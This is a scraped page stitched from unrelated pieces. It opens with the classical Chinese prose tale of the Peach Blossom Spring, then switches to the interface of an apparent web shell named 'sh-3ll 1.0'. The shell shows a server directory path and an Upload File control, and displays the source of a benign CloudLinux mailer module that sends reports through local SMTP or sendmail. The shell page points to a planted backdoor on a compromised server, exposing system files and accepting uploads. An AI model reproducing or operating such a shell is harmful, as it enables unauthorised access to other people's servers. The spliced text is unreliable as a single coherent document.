晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/cloudlinux/venv/lib64/python3.11/site-packages/ssa/internal/
Upload File :
Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/ssa/internal/mailer.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
This module contains SSA Mailer class and helper tools
"""
import logging
import os
import smtplib
import subprocess
from configparser import ConfigParser, SectionProxy
from email.message import EmailMessage
from socket import gethostname

from clcommon.lib.cledition import is_cl_solo_edition
from jinja2 import Environment, FileSystemLoader
from clcommon.lib.network import get_ip_addr

from .constants import mail_template_location
from .exceptions import SSAMailerError
from .utils import duration_cast, format_date


def _get_server_ip(hostname):
    return get_ip_addr(hostname) or 'UNKNOWN'

def render_report_table(report_data: dict) -> tuple:
    """
    Render an HTML table for e-mail report and a full e-mail message
    """
    env = Environment(
        loader=FileSystemLoader(mail_template_location),
        trim_blocks=True,
        lstrip_blocks=True
    )
    env.filters['duration_cast'] = duration_cast

    table_template = env.get_template('report_table.html')
    report_table = table_template.render(domains=report_data['domains'],
                                         # TODO: [unification] make mail template same across all editions
                                         is_solo=is_cl_solo_edition(
                                             skip_jwt_check=True))

    mail_template = env.get_template('mail.html')
    hostname = gethostname()
    mail = mail_template.render(date=format_date(report_data['date']),
                                report_table=report_table,
                                hostname=hostname,
                                ip_addr=_get_server_ip(hostname))
    return report_table, mail


class Mailer:
    """
    Class contains SSA e-mail send logic
    """

    def __init__(self):
        self.logger = logging.getLogger('mailer')
        self._sender = None

    @property
    def mail_server(self) -> tuple:
        """
        Local mail server address
        """
        return ('localhost',)

    @property
    def sender(self) -> str:
        """
        'From' mail address
        """
        return f"slow-site-analyzer@{gethostname()}"

    @staticmethod
    def read_template(name: str) -> SectionProxy:
        """
        Get preformatted data for e-mail by name of template
        """
        tmpl = f'{mail_template_location}/{name}.ini'
        if os.path.exists(tmpl):
            config = ConfigParser(interpolation=None)
            config.read(tmpl)
            return config['data']
        raise SSAMailerError(
            f'Failed to find template {name} in {mail_template_location}')

    def _smtp_send(self, message: EmailMessage) -> None:
        """
        Send preformatted e-mail via localhost SMTP
        """
        self.logger.info('Try to send via smtp')
        try:
            with smtplib.SMTP(*self.mail_server) as server:
                result = server.send_message(message)
                self.logger.info('Send result: %s', result)
        except smtplib.SMTPException as e:
            raise SSAMailerError(f'smtp mailing failed: {str(e)}')
        except (ConnectionError, OSError) as e:
            raise SSAMailerError(f'smtp connection failed: {str(e)}')

    def _console_send(self, message: EmailMessage) -> None:
        """
        Send preformatted e-mail via sendmail utility
        """
        self.logger.info('Try to send via sendmail utility')
        cmd = ["/usr/sbin/sendmail", "-t", "-oi"]
        try:
            subprocess.run(cmd,
                           input=message.as_string(),
                           capture_output=True,
                           text=True, check=True)
        except (OSError, ValueError, subprocess.CalledProcessError) as e:
            raise SSAMailerError(f'sendmail utility failed with {str(e)}')

    def _send(self, mail: EmailMessage) -> None:
        """
        Try to send mail via localhost smtp server,
        if fails -- try to use sendmail utility
        """
        try:
            self._smtp_send(mail)
        except SSAMailerError as e:
            self.logger.error(str(e))
            try:
                self._console_send(mail)
            except SSAMailerError as e:
                self.logger.error(str(e))
                self.logger.critical(
                    'Both smtp and sendmail failed to send message to %s',
                    mail['To'])

    def send_simple_mail(self,
                         recipient: str,
                         template: str = 'ssa_report',
                         **kwargs) -> None:
        """
        Create a message from given template, including additional kwargs,
        and send it to given recipient
        """
        self._send(self._message(recipient, template, **kwargs))

    def _message(self,
                 recipient: str,
                 template: str,
                 **kwargs) -> EmailMessage:
        """
        Form a message
        """
        data = self.read_template(template)

        msg = EmailMessage()
        msg['Subject'] = data['subject'] % kwargs
        msg['From'] = self.sender
        msg['To'] = recipient
        msg.set_content(data['text'] % kwargs)
        msg.add_alternative(data['html'] % kwargs, subtype='html')

        self.logger.info('Generated mail --> %s', msg.as_string())

        return msg